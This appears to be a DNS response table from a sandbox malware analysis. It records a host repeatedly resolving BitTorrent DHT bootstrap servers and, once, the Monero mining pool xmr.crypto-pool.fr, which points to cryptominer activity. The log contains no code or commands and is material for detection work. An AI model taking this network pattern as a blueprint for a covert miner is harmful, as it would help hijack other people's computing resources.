Aug 23, 2023 09:16:35.619574070 CEST	8.8.8.8	192.168.2.3	0x9e5d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.477662086 CEST	8.8.8.8	192.168.2.3	0x3722	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.477662086 CEST	8.8.8.8	192.168.2.3	0x3722	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.504828930 CEST	8.8.8.8	192.168.2.3	0x53c3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.504828930 CEST	8.8.8.8	192.168.2.3	0x53c3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.523590088 CEST	8.8.8.8	192.168.2.3	0xcd6a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.541728973 CEST	8.8.8.8	192.168.2.3	0xa337	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.560391903 CEST	8.8.8.8	192.168.2.3	0xa41c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.599510908 CEST	8.8.8.8	192.168.2.3	0xcf6e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.626167059 CEST	8.8.8.8	192.168.2.3	0x9e60	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:40.626167059 CEST	8.8.8.8	192.168.2.3	0x9e60	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.659492970 CEST	8.8.8.8	192.168.2.3	0x2a0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:40.659492970 CEST	8.8.8.8	192.168.2.3	0x2a0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.374546051 CEST	8.8.8.8	192.168.2.3	0x70ec	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.374546051 CEST	8.8.8.8	192.168.2.3	0x70ec	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.410157919 CEST	8.8.8.8	192.168.2.3	0x4e91	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.410157919 CEST	8.8.8.8	192.168.2.3	0x4e91	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.434560061 CEST	8.8.8.8	192.168.2.3	0xb331	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.462847948 CEST	8.8.8.8	192.168.2.3	0x197c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.502197981 CEST	8.8.8.8	192.168.2.3	0xd0d1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.528953075 CEST	8.8.8.8	192.168.2.3	0xece6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.551774025 CEST	8.8.8.8	192.168.2.3	0x9746	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:41.551774025 CEST	8.8.8.8	192.168.2.3	0x9746	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.583765030 CEST	8.8.8.8	192.168.2.3	0xa13e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:41.583765030 CEST	8.8.8.8	192.168.2.3	0xa13e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.475114107 CEST	8.8.8.8	192.168.2.3	0xcd62	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.475114107 CEST	8.8.8.8	192.168.2.3	0xcd62	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.496670961 CEST	8.8.8.8	192.168.2.3	0xc168	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.496670961 CEST	8.8.8.8	192.168.2.3	0xc168	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.528683901 CEST	8.8.8.8	192.168.2.3	0x279a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.556272030 CEST	8.8.8.8	192.168.2.3	0xd0f5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.740562916 CEST	8.8.8.8	192.168.2.3	0x9e86	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.788012028 CEST	8.8.8.8	192.168.2.3	0x94a2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.807791948 CEST	8.8.8.8	192.168.2.3	0xf1a6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:42.807791948 CEST	8.8.8.8	192.168.2.3	0xf1a6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.836678982 CEST	8.8.8.8	192.168.2.3	0xc1b8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:42.836678982 CEST	8.8.8.8	192.168.2.3	0xc1b8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.876662016 CEST	8.8.8.8	192.168.2.3	0xe8a8	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.876662016 CEST	8.8.8.8	192.168.2.3	0xe8a8	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.897546053 CEST	8.8.8.8	192.168.2.3	0xef6b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.897546053 CEST	8.8.8.8	192.168.2.3	0xef6b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.918864965 CEST	8.8.8.8	192.168.2.3	0x2432	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.939321041 CEST	8.8.8.8	192.168.2.3	0x7ec5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.976722956 CEST	8.8.8.8	192.168.2.3	0xecaf	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.011771917 CEST	8.8.8.8	192.168.2.3	0xb985	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.036683083 CEST	8.8.8.8	192.168.2.3	0xceac	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:43.036683083 CEST	8.8.8.8	192.168.2.3	0xceac	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.073242903 CEST	8.8.8.8	192.168.2.3	0x3b3c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:43.073242903 CEST	8.8.8.8	192.168.2.3	0x3b3c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.765728951 CEST	8.8.8.8	192.168.2.3	0x3d1f	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.002172947 CEST	8.8.8.8	192.168.2.3	0x5b3b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.002172947 CEST	8.8.8.8	192.168.2.3	0x5b3b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.021163940 CEST	8.8.8.8	192.168.2.3	0x9d6a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.021163940 CEST	8.8.8.8	192.168.2.3	0x9d6a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.050837040 CEST	8.8.8.8	192.168.2.3	0xa349	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.068514109 CEST	8.8.8.8	192.168.2.3	0xa881	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.102500916 CEST	8.8.8.8	192.168.2.3	0xd5cc	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.149900913 CEST	8.8.8.8	192.168.2.3	0xb885	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.181772947 CEST	8.8.8.8	192.168.2.3	0x8350	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:49.181772947 CEST	8.8.8.8	192.168.2.3	0x8350	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.209656954 CEST	8.8.8.8	192.168.2.3	0xe8a3	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:49.209656954 CEST	8.8.8.8	192.168.2.3	0xe8a3	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.017707109 CEST	8.8.8.8	192.168.2.3	0x729a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.017707109 CEST	8.8.8.8	192.168.2.3	0x729a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.051995993 CEST	8.8.8.8	192.168.2.3	0x1b27	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.051995993 CEST	8.8.8.8	192.168.2.3	0x1b27	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.081906080 CEST	8.8.8.8	192.168.2.3	0x6306	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.100709915 CEST	8.8.8.8	192.168.2.3	0x90b5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.287736893 CEST	8.8.8.8	192.168.2.3	0xa68b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.313083887 CEST	8.8.8.8	192.168.2.3	0xae9f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.342039108 CEST	8.8.8.8	192.168.2.3	0xff80	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:50.342039108 CEST	8.8.8.8	192.168.2.3	0xff80	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.376601934 CEST	8.8.8.8	192.168.2.3	0x5c18	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:50.376601934 CEST	8.8.8.8	192.168.2.3	0x5c18	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.472182035 CEST	8.8.8.8	192.168.2.3	0x624	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.472182035 CEST	8.8.8.8	192.168.2.3	0x624	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.494057894 CEST	8.8.8.8	192.168.2.3	0x548c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.494057894 CEST	8.8.8.8	192.168.2.3	0x548c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.520874977 CEST	8.8.8.8	192.168.2.3	0x3ede	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.549547911 CEST	8.8.8.8	192.168.2.3	0xe76c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.586067915 CEST	8.8.8.8	192.168.2.3	0xdfd	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.625696898 CEST	8.8.8.8	192.168.2.3	0xaa6e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.685673952 CEST	8.8.8.8	192.168.2.3	0xab91	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:50.685673952 CEST	8.8.8.8	192.168.2.3	0xab91	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.722054005 CEST	8.8.8.8	192.168.2.3	0x6ee2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:50.722054005 CEST	8.8.8.8	192.168.2.3	0x6ee2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.171303988 CEST	8.8.8.8	192.168.2.3	0x7817	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.171303988 CEST	8.8.8.8	192.168.2.3	0x7817	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.190608025 CEST	8.8.8.8	192.168.2.3	0xecf6	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.190608025 CEST	8.8.8.8	192.168.2.3	0xecf6	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.218091011 CEST	8.8.8.8	192.168.2.3	0xbaeb	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.238112926 CEST	8.8.8.8	192.168.2.3	0xcb90	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.261766911 CEST	8.8.8.8	192.168.2.3	0x48cf	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.315304995 CEST	8.8.8.8	192.168.2.3	0x152d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.337064981 CEST	8.8.8.8	192.168.2.3	0x77af	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:51.337064981 CEST	8.8.8.8	192.168.2.3	0x77af	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.364378929 CEST	8.8.8.8	192.168.2.3	0x8db2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:51.364378929 CEST	8.8.8.8	192.168.2.3	0x8db2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.042905092 CEST	8.8.8.8	192.168.2.3	0x505a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.042905092 CEST	8.8.8.8	192.168.2.3	0x505a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.070914030 CEST	8.8.8.8	192.168.2.3	0xc601	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.070914030 CEST	8.8.8.8	192.168.2.3	0xc601	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.091377020 CEST	8.8.8.8	192.168.2.3	0x4c7d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.119067907 CEST	8.8.8.8	192.168.2.3	0x498b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.160186052 CEST	8.8.8.8	192.168.2.3	0xf739	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.177973986 CEST	8.8.8.8	192.168.2.3	0x2a56	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.197283030 CEST	8.8.8.8	192.168.2.3	0x2731	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:52.197283030 CEST	8.8.8.8	192.168.2.3	0x2731	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.215776920 CEST	8.8.8.8	192.168.2.3	0x9a20	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:52.215776920 CEST	8.8.8.8	192.168.2.3	0x9a20	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.242881060 CEST	8.8.8.8	192.168.2.3	0xe69	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.242881060 CEST	8.8.8.8	192.168.2.3	0xe69	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.281461000 CEST	8.8.8.8	192.168.2.3	0x9d9b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.281461000 CEST	8.8.8.8	192.168.2.3	0x9d9b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.299854994 CEST	8.8.8.8	192.168.2.3	0x94b1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.334393978 CEST	8.8.8.8	192.168.2.3	0xad55	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.367728949 CEST	8.8.8.8	192.168.2.3	0x1815	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.391668081 CEST	8.8.8.8	192.168.2.3	0xd2f2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.419959068 CEST	8.8.8.8	192.168.2.3	0x460e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:52.419959068 CEST	8.8.8.8	192.168.2.3	0x460e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.464612007 CEST	8.8.8.8	192.168.2.3	0xda01	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:52.464612007 CEST	8.8.8.8	192.168.2.3	0xda01	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:54.995131016 CEST	8.8.8.8	192.168.2.3	0x2390	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:54.995131016 CEST	8.8.8.8	192.168.2.3	0x2390	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.028646946 CEST	8.8.8.8	192.168.2.3	0xdd2e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.028646946 CEST	8.8.8.8	192.168.2.3	0xdd2e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.048930883 CEST	8.8.8.8	192.168.2.3	0x8c59	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.072998047 CEST	8.8.8.8	192.168.2.3	0x7bb1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.106385946 CEST	8.8.8.8	192.168.2.3	0xb4b2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.127293110 CEST	8.8.8.8	192.168.2.3	0x321c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.150147915 CEST	8.8.8.8	192.168.2.3	0x63df	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:55.150147915 CEST	8.8.8.8	192.168.2.3	0x63df	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.190604925 CEST	8.8.8.8	192.168.2.3	0x3be4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:55.190604925 CEST	8.8.8.8	192.168.2.3	0x3be4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.629049063 CEST	8.8.8.8	192.168.2.3	0xcf2a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.629049063 CEST	8.8.8.8	192.168.2.3	0xcf2a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.647778034 CEST	8.8.8.8	192.168.2.3	0x6428	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.647778034 CEST	8.8.8.8	192.168.2.3	0x6428	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.666481018 CEST	8.8.8.8	192.168.2.3	0xbda1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.685678005 CEST	8.8.8.8	192.168.2.3	0x1ea7	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.709481001 CEST	8.8.8.8	192.168.2.3	0xf4ff	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.754791021 CEST	8.8.8.8	192.168.2.3	0xcdbf	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.784482002 CEST	8.8.8.8	192.168.2.3	0x3ce1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:57.784482002 CEST	8.8.8.8	192.168.2.3	0x3ce1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.816746950 CEST	8.8.8.8	192.168.2.3	0x6b89	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:57.816746950 CEST	8.8.8.8	192.168.2.3	0x6b89	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.557354927 CEST	8.8.8.8	192.168.2.3	0x8af5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.557354927 CEST	8.8.8.8	192.168.2.3	0x8af5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.591521025 CEST	8.8.8.8	192.168.2.3	0x2461	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.591521025 CEST	8.8.8.8	192.168.2.3	0x2461	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.610418081 CEST	8.8.8.8	192.168.2.3	0x5038	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.719788074 CEST	8.8.8.8	192.168.2.3	0xf96d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.748075008 CEST	8.8.8.8	192.168.2.3	0x153b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.780497074 CEST	8.8.8.8	192.168.2.3	0xe508	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.808801889 CEST	8.8.8.8	192.168.2.3	0x7f7d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:58.808801889 CEST	8.8.8.8	192.168.2.3	0x7f7d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.831639051 CEST	8.8.8.8	192.168.2.3	0xd721	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:58.831639051 CEST	8.8.8.8	192.168.2.3	0xd721	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.697369099 CEST	8.8.8.8	192.168.2.3	0xb113	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.697369099 CEST	8.8.8.8	192.168.2.3	0xb113	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.725382090 CEST	8.8.8.8	192.168.2.3	0x6b4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.725382090 CEST	8.8.8.8	192.168.2.3	0x6b4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.751087904 CEST	8.8.8.8	192.168.2.3	0x3fb8	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.827112913 CEST	8.8.8.8	192.168.2.3	0xa041	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.845709085 CEST	8.8.8.8	192.168.2.3	0x6826	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
